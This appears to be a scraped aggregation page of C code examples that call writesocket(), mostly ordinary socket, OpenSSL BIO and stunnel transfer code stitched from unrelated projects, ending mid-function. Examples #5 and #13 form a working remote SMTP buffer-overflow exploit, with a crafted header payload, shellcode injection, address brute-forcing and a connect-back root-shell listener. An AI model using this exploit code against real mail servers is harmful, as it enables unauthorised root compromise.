Exemple #1
0
/* length (4), PASS_THROUGH (1), header, message */
int ei_ei_send_reg_encoded(ei_cnode* ec, int fd, const erlang_pid *from,
			   const char *to, const char *msg, int msglen)
{
  char *s, header[1400]; /* see size calculation below */
  erlang_trace *token = NULL;
  int index = 5; /* reserve 5 bytes for control message */
#ifdef HAVE_WRITEV
  struct iovec v[2];
#endif

  /* are we tracing? */
  /* check that he can receive trace tokens first */
  if (ei_distversion(fd) > 0)
    token = ei_trace(0,(erlang_trace *)NULL);

  /* header = REG_SEND, from, cookie, toname         max sizes: */
  ei_encode_version(header,&index);                     /*   1 */
  if (token) { 
    ei_encode_tuple_header(header,&index,5);            /*   2 */
    ei_encode_long(header,&index,ERL_REG_SEND_TT);      /*   2 */
  } else {
    ei_encode_tuple_header(header,&index,4);    
    ei_encode_long(header,&index,ERL_REG_SEND); 
  }
  ei_encode_pid(header,&index,from);                    /* 268 */
  ei_encode_atom(header,&index,"" /*ei_getfdcookie(ec, fd)*/ );       /* 258 */
  ei_encode_atom(header,&index,to);                     /* 268 */

  if (token) ei_encode_trace(header,&index,token);      /* 534 */

  /* control message (precedes header actually) */
  /* length = 1 ('p') + header len + message len */
  s = header;
  put32be(s, index + msglen - 4);                       /*   4 */
  put8(s, ERL_PASS_THROUGH);                                /*   1 */
                                                /*** sum: 1336 */
  
#ifdef DEBUG_DIST
  if (ei_trace_distribution > 0) ei_show_sendmsg(stderr,header,msg);
#endif
  
#ifdef HAVE_WRITEV

  v[0].iov_base = (char *)header;
  v[0].iov_len = index;
  v[1].iov_base = (char *)msg;
  v[1].iov_len = msglen;

  if (writev(fd,v,2) != index+msglen) return -1;
  
#else
  
  /* no writev() */
  if (writesocket(fd,header,index) != index) return -1;
  if (writesocket(fd,msg,msglen) != msglen) return -1;

#endif

  return 0;
}
Exemple #2
0
static int dgram_write(BIO *b, const char *in, int inl)
	{
	int ret;
	bio_dgram_data *data = (bio_dgram_data *)b->ptr;
	clear_socket_error();

    if ( data->connected )
        ret=writesocket(b->num,in,inl);
    else
#if defined(NETWARE_CLIB) && defined(NETWARE_BSDSOCK)
        ret=sendto(b->num, (char *)in, inl, 0, &data->peer, sizeof(data->peer));
#else
        ret=sendto(b->num, in, inl, 0, &data->peer, sizeof(data->peer));
#endif

	BIO_clear_retry_flags(b);
	if (ret <= 0)
		{
		if (BIO_sock_should_retry(ret))
			{
			BIO_set_retry_write(b);  
			data->_errno = get_last_socket_error();

#if 0 /* higher layers are responsible for querying MTU, if necessary */
			if ( data->_errno == EMSGSIZE)
				/* retrieve the new MTU */
				BIO_ctrl(b, BIO_CTRL_DGRAM_QUERY_MTU, 0, NULL);
#endif
			}
		}
	return(ret);
	}
Exemple #3
0
void s_write(CLI *c, int fd, const void *buf, int len) {
        /* simulate a blocking write */
    u8 *ptr=(u8 *)buf;
    int num;

    while(len>0) {
        s_poll_init(c->fds);
        s_poll_add(c->fds, fd, 0, 1); /* write */
        switch(s_poll_wait(c->fds, c->opt->timeout_busy, 0)) {
        case -1:
            sockerror("s_write: s_poll_wait");
            longjmp(c->err, 1); /* error */
        case 0:
            s_log(LOG_INFO, "s_write: s_poll_wait:"
                " TIMEOUTbusy exceeded: sending reset");
            longjmp(c->err, 1); /* timeout */
        case 1:
            break; /* OK */
        default:
            s_log(LOG_ERR, "s_write: s_poll_wait: unknown result");
            longjmp(c->err, 1); /* error */
        }
        num=writesocket(fd, (void *)ptr, len);
        switch(num) {
        case -1: /* error */
            sockerror("writesocket (s_write)");
            longjmp(c->err, 1);
        }
        ptr+=num;
        len-=num;
    }
}
Exemple #4
0
static int ei_write_t(int fd, const char* buf, int len, unsigned  ms)
{
    int res;
    if (ms != 0) {
	fd_set writemask;
	struct timeval tv;
	tv.tv_sec = (time_t) (ms / 1000U);
	ms %= 1000U;
	tv.tv_usec = (time_t) (ms * 1000U);
	FD_ZERO(&writemask);
	FD_SET(fd,&writemask);
	switch (select(fd+1, NULL, &writemask, NULL, &tv)) {
	case -1 : 
	    return -1; /* i/o error */
	case 0:
	    return -2; /* timeout */
	default:
	    if (!FD_ISSET(fd, &writemask)) {
		return -1; /* Other error */
	    }
	}
    }
    res =  writesocket(fd, buf, len);
    return (res < 0) ? -1 : res;
}
Exemple #5
0
void getrootprompt() {
	int sockfd,sin_size,tmpsock,i;
	struct sockaddr_in my_addr,their_addr;
	char szBuffer[1024];
	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		printf("Error creating listening socket\n");
		return;
	}
	my_addr.sin_family = AF_INET;
	my_addr.sin_port = htons(LISTENPORT);
	my_addr.sin_addr.s_addr = INADDR_ANY;
	memset(&(my_addr.sin_zero), 0, 8);
	if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
		printf("Error binding listening socket\n");
		return;
	}
	if (listen(sockfd, 1) == -1) {
		printf("Error listening on listening socket\n");
		return;
	}
	sin_size = sizeof(struct sockaddr_in);
	if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) {
		printf("Error accepting on listening socket\n");
		return;
	}
	writesocket(tmpsock,"uname -a\n");
	while(1) {
		fd_set readfs;
		FD_ZERO(&readfs);
		FD_SET(0,&readfs);
		FD_SET(tmpsock,&readfs);
		if(select(tmpsock+1,&readfs,NULL,NULL,NULL)) {
			int cnt;
			char buf[1024];
			if (FD_ISSET(0,&readfs)) {
				if ((cnt=read(0,buf,1024)) < 1) {
					if(errno==EWOULDBLOCK || errno==EAGAIN) continue;
                			else {
						printf("Connection closed\n");
						return;
					}
				}
				write(tmpsock,buf,cnt);
			}
			if (FD_ISSET(tmpsock,&readfs)) {
				if ((cnt=read(tmpsock,buf,1024)) < 1) {
					if(errno==EWOULDBLOCK || errno==EAGAIN) continue;
                			else {
						printf("Connection closed\n");
						return;
					}
				}
				write(1,buf,cnt);
			}
		}
	}
	close(tmpsock);
	close(sockfd);
	return;
}
Exemple #6
0
void write_blocking(CLI *c, int fd, u8 *ptr, int len) {
        /* simulate a blocking write */
    s_poll_set fds;
    int num;

    while(len>0) {
        s_poll_zero(&fds);
        s_poll_add(&fds, fd, 0, 1); /* write */
        switch(s_poll_wait(&fds, c->opt->timeout_busy)) {
        case -1:
            sockerror("write_blocking: s_poll_wait");
            longjmp(c->err, 1); /* error */
        case 0:
            s_log(LOG_INFO, "write_blocking: s_poll_wait timeout");
            longjmp(c->err, 1); /* timeout */
        case 1:
            break; /* OK */
        default:
            s_log(LOG_ERR, "write_blocking: s_poll_wait unknown result");
            longjmp(c->err, 1); /* error */
        }
        num=writesocket(fd, ptr, len);
        switch(num) {
        case -1: /* error */
            sockerror("writesocket (write_blocking)");
            longjmp(c->err, 1);
        }
        ptr+=num;
        len-=num;
    }
}
Exemple #7
0
static int sock_write(BIO *b, const char *in, int inl)
{
    int ret;

    clear_socket_error();
    ret = writesocket(b->num, in, inl);
    BIO_clear_retry_flags(b);
    if (ret <= 0) {
        if (BIO_sock_should_retry(ret))
            BIO_set_retry_write(b);
    }
    return (ret);
}
Exemple #8
0
void
tosock(int sockfd, char *format, ...)

{
	char buf[MAXLINE * 2];
	va_list args;

	va_start(args, format);
	vsprintf_irc(buf, format, args);
	va_end(args);

	/* send the string to the socket */
	writesocket(sockfd, buf);
} /* tosock() */
Exemple #9
0
/*
  toserv() sends 'str' to hub server
*/
void toserv(char *format, ...)
{
	char buf[MAXLINE * 2];
	int ii;
	va_list args;

	if (HubSock == NOSOCKET)
		return;

	va_start(args, format);
	vsprintf_irc(buf, format, args);
	va_end(args);

	/* send the string to the server */
	ii = writesocket(HubSock, buf);

	/*
	 * If format contains a trailing \n, but buf was too large
	 * to fit 'format', make sure the \n gets through
	 */
	if ((format[strlen(format) - 1] == '\n') &&
	        (buf[ii - 1] != '\n'))
		writesocket(HubSock, "\r\n");
} /* toserv() */
static int dgram_write(BIO *b, const char *in, int inl)
	{
	int ret;
	bio_dgram_data *data = (bio_dgram_data *)b->ptr;
	clear_socket_error();

	if ( data->connected )
		ret=writesocket(b->num,in,inl);
	else
		{
		int peerlen = sizeof(data->peer);

		if (data->peer.sa.sa_family == AF_INET)
			peerlen = sizeof(data->peer.sa_in);
#if OPENSSL_USE_IVP6
		else if (data->peer.sa.sa_family == AF_INET6)
			peerlen = sizeof(data->peer.sa_in6);
#endif
#if defined(NETWARE_CLIB) && defined(NETWARE_BSDSOCK)
		ret=TINYCLR_SSL_SENDTO(b->num, (char *)in, inl, 0, &data->peer.sa, peerlen);
#else
		ret=TINYCLR_SSL_SENDTO(b->num, in, inl, 0, &data->peer.sa, peerlen);
#endif
		}

	BIO_clear_retry_flags(b);
	if (ret <= 0)
		{
		if (BIO_dgram_should_retry(ret))
			{
			BIO_set_retry_write(b);  
			data->_errno = get_last_socket_error();

#if 0 /* higher layers are responsible for querying MTU, if necessary */
			if ( data->_errno == EMSGSIZE)
				/* retrieve the new MTU */
				BIO_ctrl(b, BIO_CTRL_DGRAM_QUERY_MTU, 0, NULL);
#endif
			}
		}
	return(ret);
	}
Exemple #11
0
static int conn_write(BIO *b, const char *in, int inl)
	{
	int ret;
	BIO_CONNECT *data;

	data=(BIO_CONNECT *)b->ptr;
	if (data->state != BIO_CONN_S_OK)
		{
		ret=conn_state(b,data);
		if (ret <= 0) return(ret);
		}

	clear_socket_error();
	ret=writesocket(b->num,in,inl);
	BIO_clear_retry_flags(b);
	if (ret <= 0)
		{
		if (BIO_sock_should_retry(ret))
			BIO_set_retry_write(b);
		}
	return(ret);
	}
static int fd_write(BIO *b, const char *in, int inl)
#endif
	{
	int ret;
	
#ifndef BIO_FD
	clear_socket_error();
	ret=writesocket(b->num,in,inl);
#else
	clear_sys_error();
	ret=write(b->num,in,inl);
#endif
	BIO_clear_retry_flags(b);
	if (ret <= 0)
		{
#ifndef BIO_FD
		if (BIO_sock_should_retry(ret))
#else
		if (BIO_fd_should_retry(ret))
#endif
			BIO_set_retry_write(b);
		}
	return(ret);
	}
Exemple #13
0
int main(int argc, char **argv) {
	struct sockaddr_in server;
	unsigned long ipaddr,i,bf=0;
	int sock,target;
	char tmp[BUFSIZE],buf[BUFSIZE],*p;
	if (argc <= 3) {
		printf("%s <target ip> <myip> <target number> [bruteforce start addr]\n",argv[0]);
		printtargets();
		return 0;
	}
	target=atol(argv[3]);
	if (target < 0 || target >= maxarch) {
		printtargets();
		return 0;
	}
	if (argc > 4) sscanf(argv[4],"%x",&bf);

	header();

	fixshellcode(argv[2],LISTENPORT);
	if (bf && !fork()) {
		getrootprompt();
		return 0;
	}

bfstart:
	if (bf) {
		printf("Trying address 0x%x\n",bf);
		fflush(stdout);
	}
	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		printf("Unable to create socket\n");
		exit(0);
	}
	server.sin_family = AF_INET;
	server.sin_port = htons(25);
	if (!bf) {
		printf("Resolving address... ");
		fflush(stdout);
	}
	if ((ipaddr = inet_addr(argv[1])) == -1) {
		struct hostent *hostm;
		if ((hostm=gethostbyname(argv[1])) == NULL) {
			printf("Unable to resolve address\n");
			exit(0);
		}
		memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
	}
	else server.sin_addr.s_addr = ipaddr;
	memset(&(server.sin_zero), 0, 8);
	if (!bf) {
		printf("Address found\n");
		printf("Connecting... ");
		fflush(stdout);
	}
	if (connect(sock,(struct sockaddr *)&server, sizeof(server)) != 0) {
		printf("Unable to connect\n");
		exit(0);
	}
	if (!bf) {
		printf("Connected!\n");
		printf("Sending exploit... ");
		fflush(stdout);
	}
	readsocket(sock,220);
	writesocket(sock,"HELO yahoo.com\r\n");
	readsocket(sock,250);
	writesocket(sock,"MAIL FROM: [email protected]\r\n");
	readsocket(sock,250);
	writesocket(sock,"RCPT TO: MAILER-DAEMON\r\n");
	readsocket(sock,250);
	writesocket(sock,"DATA\r\n");
	readsocket(sock,354);
	memset(buf,0,sizeof(buf));
	p=buf;
	for (i=0;i<archs[target].angle;i++) {
		*p++='<';
		*p++='>';
	}
	*p++='(';
	for (i=0;i<archs[target].nops;i++) *p++=0xf8;
	*p++=')';
	*p++=((char*)&archs[target].aptr)[0];
	*p++=((char*)&archs[target].aptr)[1];
	*p++=((char*)&archs[target].aptr)[2];
	*p++=((char*)&archs[target].aptr)[3];
	*p++=0;
	sprintf(tmp,"Full-name: %s\r\n",buf);
	writesocket(sock,tmp);
	sprintf(tmp,"From: %s\r\n",buf);
	writesocket(sock,tmp);

	p=buf;
	archs[target].aptr+=4;
	*p++=((char*)&archs[target].aptr)[0];
	*p++=((char*)&archs[target].aptr)[1];
	*p++=((char*)&archs[target].aptr)[2];
	*p++=((char*)&archs[target].aptr)[3];

	for (i=0;i<0x14;i++) *p++=0xf8;
	archs[target].aptr+=0x18;
	*p++=((char*)&archs[target].aptr)[0];
	*p++=((char*)&archs[target].aptr)[1];
	*p++=((char*)&archs[target].aptr)[2];
	*p++=((char*)&archs[target].aptr)[3];

	for (i=0;i<0x4c;i++) *p++=0x01;
	archs[target].aptr+=0x4c+4;
	*p++=((char*)&archs[target].aptr)[0];
	*p++=((char*)&archs[target].aptr)[1];
	*p++=((char*)&archs[target].aptr)[2];
	*p++=((char*)&archs[target].aptr)[3];

	for (i=0;i<0x8;i++) *p++=0xf8;
	archs[target].aptr+=0x08+4;
	*p++=((char*)&archs[target].aptr)[0];
	*p++=((char*)&archs[target].aptr)[1];
	*p++=((char*)&archs[target].aptr)[2];
	*p++=((char*)&archs[target].aptr)[3];

	for (i=0;i<0x20;i++) *p++=0xf8;
	for (i=0;i<strlen(code);i++) *p++=code[i];

	*p++=0;
	sprintf(tmp,"Subject: AAAAAAAAAAA%s\r\n",buf);
	writesocket(sock,tmp);
	writesocket(sock,".\r\n");
	if (!bf) {
		printf("Exploit sent!\n");
		printf("Waiting for root prompt...\n");
		if (readutil(sock,451)) printf("Failed!\n");
		else getrootprompt();
	}
	else {
		readutil(sock,451);
		close(sock);
		bf+=4;
		goto bfstart;
	}
}
Exemple #14
0
void signal_post(int sig) {
    writesocket(signal_pipe[1], (char *)&sig, sizeof sig);
}
Exemple #15
0
static void transfer(CLI * c)
{
	int watchdog = 0;	
	int num, err;
	
	int sock_open_rd = 1, sock_open_wr = 1;
	
	int shutdown_wants_read = 0, shutdown_wants_write = 0;
	int read_wants_read, read_wants_write = 0;
	int write_wants_read = 0, write_wants_write;
	
	int sock_can_rd, sock_can_wr, ssl_can_rd, ssl_can_wr;

	c->sock_ptr = c->ssl_ptr = 0;

	do {			
	
		read_wants_read =
		    !(SSL_get_shutdown(c->ssl) & SSL_RECEIVED_SHUTDOWN)
		    && c->ssl_ptr < BUFFSIZE && !read_wants_write;
		write_wants_write =
		    !(SSL_get_shutdown(c->ssl) & SSL_SENT_SHUTDOWN)
		    && c->sock_ptr && !write_wants_read;

	
		s_poll_init(c->fds);	
		
		
		if (sock_open_rd)
			s_poll_add(c->fds, c->sock_rfd->fd,
				   c->sock_ptr < BUFFSIZE, 0);
		if (sock_open_wr)
			s_poll_add(c->fds, c->sock_wfd->fd, 0, c->ssl_ptr);
		
		if (read_wants_read || write_wants_read || shutdown_wants_read)
			s_poll_add(c->fds, c->ssl_rfd->fd, 1, 0);
		if (read_wants_write || write_wants_write
		    || shutdown_wants_write)
			s_poll_add(c->fds, c->ssl_wfd->fd, 0, 1);

	
		err = s_poll_wait(c->fds, (sock_open_rd &&	
					   !(SSL_get_shutdown(c->ssl) &
					     SSL_RECEIVED_SHUTDOWN))
				  || c->ssl_ptr	
				  ||
				  c->sock_ptr
				   ?
				  c->opt->timeout_idle : c->opt->timeout_close,
				  0);
		switch (err) {
		case -1:
			sockerror("transfer: s_poll_wait");
			longjmp(c->err, 1);
		case 0:	
			if ((sock_open_rd &&
			     !(SSL_get_shutdown(c->ssl) &
			       SSL_RECEIVED_SHUTDOWN)) || c->ssl_ptr
			    || c->sock_ptr) {
				s_log(LOG_INFO,
				      "transfer: s_poll_wait:"
				      " TIMEOUTidle exceeded: sending reset");
				longjmp(c->err, 1);
			} else {	
				s_log(LOG_ERR, "transfer: s_poll_wait:"
				      " TIMEOUTclose exceeded: closing");
				return;	
			}
		}

	
		err = s_poll_error(c->fds, c->sock_rfd);
		if (err) {
			s_log(LOG_NOTICE,
			      "Error detected on socket (read) file descriptor: %s (%d)",
			      s_strerror(err), err);
			longjmp(c->err, 1);
		}
		if (c->sock_wfd->fd != c->sock_rfd->fd) {	
			err = s_poll_error(c->fds, c->sock_wfd);
			if (err) {
				s_log(LOG_NOTICE,
				      "Error detected on socket write file descriptor: %s (%d)",
				      s_strerror(err), err);
				longjmp(c->err, 1);
			}
		}
		err = s_poll_error(c->fds, c->ssl_rfd);
		if (err) {
			s_log(LOG_NOTICE,
			      "Error detected on SSL (read) file descriptor: %s (%d)",
			      s_strerror(err), err);
			longjmp(c->err, 1);
		}
		if (c->ssl_wfd->fd != c->ssl_rfd->fd) {	
			err = s_poll_error(c->fds, c->ssl_wfd);
			if (err) {
				s_log(LOG_NOTICE,
				      "Error detected on SSL write file descriptor: %s (%d)",
				      s_strerror(err), err);
				longjmp(c->err, 1);
			}
		}

	
		sock_can_rd = s_poll_canread(c->fds, c->sock_rfd->fd);
		sock_can_wr = s_poll_canwrite(c->fds, c->sock_wfd->fd);
		ssl_can_rd = s_poll_canread(c->fds, c->ssl_rfd->fd);
		ssl_can_wr = s_poll_canwrite(c->fds, c->ssl_wfd->fd);

	
		if (!(sock_can_rd || sock_can_wr || ssl_can_rd || ssl_can_wr)) {
			s_log(LOG_ERR, "INTERNAL ERROR: "
			      "s_poll_wait returned %d, but no descriptor is ready",
			      err);
			longjmp(c->err, 1);
		}

	
		if (shutdown_wants_read || shutdown_wants_write) {
			num = SSL_shutdown(c->ssl);	
			if (num < 0)	
				err = SSL_get_error(c->ssl, num);
			else	
				err = SSL_ERROR_NONE;
			switch (err) {
			case SSL_ERROR_NONE:	
				s_log(LOG_INFO,
				      "SSL_shutdown successfully sent close_notify alert");
				shutdown_wants_read = shutdown_wants_write = 0;
				break;
			case SSL_ERROR_SYSCALL:	
				if (parse_socket_error(c, "SSL_shutdown"))
					break;	
				SSL_set_shutdown(c->ssl,
						 SSL_SENT_SHUTDOWN |
						 SSL_RECEIVED_SHUTDOWN);
				shutdown_wants_read = shutdown_wants_write = 0;
				break;
			case SSL_ERROR_WANT_WRITE:
				s_log(LOG_DEBUG,
				      "SSL_shutdown returned WANT_WRITE: retrying");
				shutdown_wants_read = 0;
				shutdown_wants_write = 1;
				break;
			case SSL_ERROR_WANT_READ:
				s_log(LOG_DEBUG,
				      "SSL_shutdown returned WANT_READ: retrying");
				shutdown_wants_read = 1;
				shutdown_wants_write = 0;
				break;
			case SSL_ERROR_SSL:	
				sslerror("SSL_shutdown");
				longjmp(c->err, 1);
			default:
				s_log(LOG_ERR,
				      "SSL_shutdown/SSL_get_error returned %d",
				      err);
				longjmp(c->err, 1);
			}
		}

	
		if (sock_open_rd && sock_can_rd) {
			num = readsocket(c->sock_rfd->fd,
					 c->sock_buff + c->sock_ptr,
					 BUFFSIZE - c->sock_ptr);
			switch (num) {
			case -1:
				if (parse_socket_error(c, "readsocket"))
					break;	
			case 0:	
				s_log(LOG_DEBUG, "Socket closed on read");
				sock_open_rd = 0;
				break;
			default:
				c->sock_ptr += num;
				watchdog = 0;	
			}
		}

	
		if (sock_open_wr && sock_can_wr) {
			num =
			    writesocket(c->sock_wfd->fd, c->ssl_buff,
					c->ssl_ptr);
			switch (num) {
			case -1:	
				if (parse_socket_error(c, "writesocket"))
					break;	
			case 0:
				s_log(LOG_DEBUG, "Socket closed on write");
				sock_open_rd = sock_open_wr = 0;
				break;
			default:
				memmove(c->ssl_buff, c->ssl_buff + num,
					c->ssl_ptr - num);
				c->ssl_ptr -= num;
				c->sock_bytes += num;
				watchdog = 0;	
			}
		}

	
		
		read_wants_read =
		    !(SSL_get_shutdown(c->ssl) & SSL_RECEIVED_SHUTDOWN)
		    && c->ssl_ptr < BUFFSIZE && !read_wants_write;
		write_wants_write =
		    !(SSL_get_shutdown(c->ssl) & SSL_SENT_SHUTDOWN)
		    && c->sock_ptr && !write_wants_read;

	
		if ((read_wants_read && (ssl_can_rd || SSL_pending(c->ssl))) ||
		    (read_wants_write && ssl_can_wr)) {
			read_wants_write = 0;
			num =
			    SSL_read(c->ssl, c->ssl_buff + c->ssl_ptr,
				     BUFFSIZE - c->ssl_ptr);
			switch (err = SSL_get_error(c->ssl, num)) {
			case SSL_ERROR_NONE:
				if (num == 0)
					s_log(LOG_DEBUG, "SSL_read returned 0");
				c->ssl_ptr += num;
				watchdog = 0;	
				break;
			case SSL_ERROR_WANT_WRITE:
				s_log(LOG_DEBUG,
				      "SSL_read returned WANT_WRITE: retrying");
				read_wants_write = 1;
				break;
			case SSL_ERROR_WANT_READ:	
				break;
			case SSL_ERROR_WANT_X509_LOOKUP:
				s_log(LOG_DEBUG,
				      "SSL_read returned WANT_X509_LOOKUP: retrying");
				break;
			case SSL_ERROR_SYSCALL:
				if (num && parse_socket_error(c, "SSL_read"))
					break;	
				if (c->sock_ptr) {
					s_log(LOG_ERR,
					      "SSL socket closed on SSL_read with %d unsent byte(s)",
					      c->sock_ptr);
					longjmp(c->err, 1);	
				}
				s_log(LOG_DEBUG,
				      "SSL socket closed on SSL_read");
				SSL_set_shutdown(c->ssl,
						 SSL_SENT_SHUTDOWN |
						 SSL_RECEIVED_SHUTDOWN);
				break;
			case SSL_ERROR_ZERO_RETURN:	
				s_log(LOG_DEBUG, "SSL closed on SSL_read");
				if (SSL_version(c->ssl) == SSL2_VERSION)
					SSL_set_shutdown(c->ssl,
							 SSL_SENT_SHUTDOWN |
							 SSL_RECEIVED_SHUTDOWN);
				break;
			case SSL_ERROR_SSL:
				sslerror("SSL_read");
				longjmp(c->err, 1);
			default:
				s_log(LOG_ERR,
				      "SSL_read/SSL_get_error returned %d",
				      err);
				longjmp(c->err, 1);
			}
		}

	
		if ((write_wants_read && ssl_can_rd) ||
		    (write_wants_write && ssl_can_wr)) {
			write_wants_read = 0;
			num = SSL_write(c->ssl, c->sock_buff, c->sock_ptr);
			switch (err = SSL_get_error(c->ssl, num)) {
			case SSL_ERROR_NONE:
				if (num == 0)
					s_log(LOG_DEBUG,
					      "SSL_write returned 0");
				memmove(c->sock_buff, c->sock_buff + num,
					c->sock_ptr - num);
				c->sock_ptr -= num;
				c->ssl_bytes += num;
				watchdog = 0;	
				break;
			case SSL_ERROR_WANT_WRITE:	
				break;
			case SSL_ERROR_WANT_READ:
				s_log(LOG_DEBUG,
				      "SSL_write returned WANT_READ: retrying");
				write_wants_read = 1;
				break;
			case SSL_ERROR_WANT_X509_LOOKUP:
				s_log(LOG_DEBUG,
				      "SSL_write returned WANT_X509_LOOKUP: retrying");
				break;
			case SSL_ERROR_SYSCALL:	
				if (num && parse_socket_error(c, "SSL_write"))
					break;	
				if (c->sock_ptr) {
					s_log(LOG_ERR,
					      "SSL socket closed on SSL_write with %d unsent byte(s)",
					      c->sock_ptr);
					longjmp(c->err, 1);	
				}
				s_log(LOG_DEBUG,
				      "SSL socket closed on SSL_write");
				SSL_set_shutdown(c->ssl,
						 SSL_SENT_SHUTDOWN |
						 SSL_RECEIVED_SHUTDOWN);
				break;
			case SSL_ERROR_ZERO_RETURN:	
				s_log(LOG_DEBUG, "SSL closed on SSL_write");
				if (SSL_version(c->ssl) == SSL2_VERSION)
					SSL_set_shutdown(c->ssl,
							 SSL_SENT_SHUTDOWN |
							 SSL_RECEIVED_SHUTDOWN);
				break;
			case SSL_ERROR_SSL:
				sslerror("SSL_write");
				longjmp(c->err, 1);
			default:
				s_log(LOG_ERR,
				      "SSL_write/SSL_get_error returned %d",
				      err);
				longjmp(c->err, 1);
			}
		}

	
		if (sock_open_wr
		    && SSL_get_shutdown(c->ssl) & SSL_RECEIVED_SHUTDOWN
		    && !c->ssl_ptr) {
			sock_open_wr = 0;	
			if (!c->sock_wfd->is_socket) {
				s_log(LOG_DEBUG,
				      "Closing the socket file descriptor");
				sock_open_rd = 0;	
			} else if (!shutdown(c->sock_wfd->fd, SHUT_WR)) {	
				s_log(LOG_DEBUG, "Sent socket write shutdown");
			} else {
				s_log(LOG_DEBUG,
				      "Failed to send socket write shutdown");
				sock_open_rd = 0;	
			}
		}
		if (!(SSL_get_shutdown(c->ssl) & SSL_SENT_SHUTDOWN)
		    && !sock_open_rd && !c->sock_ptr) {
			if (SSL_version(c->ssl) != SSL2_VERSION) {	
				s_log(LOG_DEBUG, "Sending close_notify alert");
				shutdown_wants_write = 1;
			} else {	
				s_log(LOG_DEBUG, "Closing SSLv2 socket");
				if (c->ssl_rfd->is_socket)
					shutdown(c->ssl_rfd->fd, SHUT_RD);	
				if (c->ssl_wfd->is_socket)
					shutdown(c->ssl_wfd->fd, SHUT_WR);	
				
				SSL_set_shutdown(c->ssl,
						 SSL_SENT_SHUTDOWN |
						 SSL_RECEIVED_SHUTDOWN);
			}
		}

	
		if (++watchdog > 100) {	
			s_log(LOG_ERR,
			      "transfer() loop executes not transferring any data");
			wifisec_info(LOG_ERR);
			s_log(LOG_ERR, "protocol=%s, SSL_pending=%d",
			      SSL_get_version(c->ssl), SSL_pending(c->ssl));
			s_log(LOG_ERR, "sock_open_rd=%s, sock_open_wr=%s",
			      sock_open_rd ? "Y" : "n",
			      sock_open_wr ? "Y" : "n");
			s_log(LOG_ERR,
			      "SSL_RECEIVED_SHUTDOWN=%s, SSL_SENT_SHUTDOWN=%s",
			      SSL_get_shutdown(c->ssl) & SSL_RECEIVED_SHUTDOWN ?
			      "Y" : "n",
			      SSL_get_shutdown(c->ssl) & SSL_SENT_SHUTDOWN ? "Y"
			      : "n");
			s_log(LOG_ERR, "sock_can_rd=%s, sock_can_wr=%s",
			      sock_can_rd ? "Y" : "n", sock_can_wr ? "Y" : "n");
			s_log(LOG_ERR, "ssl_can_rd=%s, ssl_can_wr=%s",
			      ssl_can_rd ? "Y" : "n", ssl_can_wr ? "Y" : "n");
			s_log(LOG_ERR,
			      "read_wants_read=%s, read_wants_write=%s",
			      read_wants_read ? "Y" : "n",
			      read_wants_write ? "Y" : "n");
			s_log(LOG_ERR,
			      "write_wants_read=%s, write_wants_write=%s",
			      write_wants_read ? "Y" : "n",
			      write_wants_write ? "Y" : "n");
			s_log(LOG_ERR,
			      "shutdown_wants_read=%s, shutdown_wants_write=%s",
			      shutdown_wants_read ? "Y" : "n",
			      shutdown_wants_write ? "Y" : "n");
			s_log(LOG_ERR,
			      "socket input buffer: %d byte(s), "
			      "ssl input buffer: %d byte(s)", c->sock_ptr,
			      c->ssl_ptr);
			longjmp(c->err, 1);
		}

	} while (sock_open_wr || !(SSL_get_shutdown(c->ssl) & SSL_SENT_SHUTDOWN)
		 || shutdown_wants_read || shutdown_wants_write);
}
Exemple #16
0
/****************************** transfer data */
NOEXPORT void transfer(CLI *c) {
    int watchdog=0; /* a counter to detect an infinite loop */
    int num, err;
    /* logical channels (not file descriptors!) open for read or write */
    int sock_open_rd=1, sock_open_wr=1;
    /* awaited conditions on SSL file descriptors */
    int shutdown_wants_read=0, shutdown_wants_write=0;
    int read_wants_read=0, read_wants_write=0;
    int write_wants_read=0, write_wants_write=0;
    /* actual conditions on file descriptors */
    int sock_can_rd, sock_can_wr, ssl_can_rd, ssl_can_wr;

    c->sock_ptr=c->ssl_ptr=0;

    do { /* main loop of client data transfer */
        /****************************** initialize *_wants_* */
        read_wants_read|=!(SSL_get_shutdown(c->ssl)&SSL_RECEIVED_SHUTDOWN)
            && c->ssl_ptr<BUFFSIZE && !read_wants_write;
        write_wants_write|=!(SSL_get_shutdown(c->ssl)&SSL_SENT_SHUTDOWN)
            && c->sock_ptr && !write_wants_read;

        /****************************** setup c->fds structure */
        s_poll_init(c->fds); /* initialize the structure */
        /* for plain socket open data strem = open file descriptor */
        /* make sure to add each open socket to receive exceptions! */
        if(sock_open_rd) /* only poll if the read file descriptor is open */
            s_poll_add(c->fds, c->sock_rfd->fd, c->sock_ptr<BUFFSIZE, 0);
        if(sock_open_wr) /* only poll if the write file descriptor is open */
            s_poll_add(c->fds, c->sock_wfd->fd, 0, c->ssl_ptr);
        /* poll SSL file descriptors unless SSL shutdown was completed */
        if(SSL_get_shutdown(c->ssl)!=
                (SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN)) {
            s_poll_add(c->fds, c->ssl_rfd->fd, 
                read_wants_read || write_wants_read || shutdown_wants_read, 0);
            s_poll_add(c->fds, c->ssl_wfd->fd, 0,
                read_wants_write || write_wants_write || shutdown_wants_write);
        }

        /****************************** wait for an event */
        err=s_poll_wait(c->fds,
            (sock_open_rd && /* both peers open */
                !(SSL_get_shutdown(c->ssl)&SSL_RECEIVED_SHUTDOWN)) ||
            c->ssl_ptr /* data buffered to write to socket */ ||
            c->sock_ptr /* data buffered to write to SSL */ ?
            c->opt->timeout_idle : c->opt->timeout_close, 0);
        switch(err) {
        case -1:
            sockerror("transfer: s_poll_wait");
            longjmp(c->err, 1);
        case 0: /* timeout */
            if((sock_open_rd &&
                    !(SSL_get_shutdown(c->ssl)&SSL_RECEIVED_SHUTDOWN)) ||
                    c->ssl_ptr || c->sock_ptr) {
                s_log(LOG_INFO, "transfer: s_poll_wait:"
                    " TIMEOUTidle exceeded: sending reset");
                longjmp(c->err, 1);
            } else { /* already closing connection */
                s_log(LOG_ERR, "transfer: s_poll_wait:"
                    " TIMEOUTclose exceeded: closing");
                return; /* OK */
            }
        }

        /****************************** check for errors on sockets */
        err=s_poll_error(c->fds, c->sock_rfd->fd);
        if(err && err!=S_EWOULDBLOCK && err!=S_EAGAIN) {
            s_log(LOG_NOTICE, "Read socket error: %s (%d)",
                s_strerror(err), err);
            longjmp(c->err, 1);
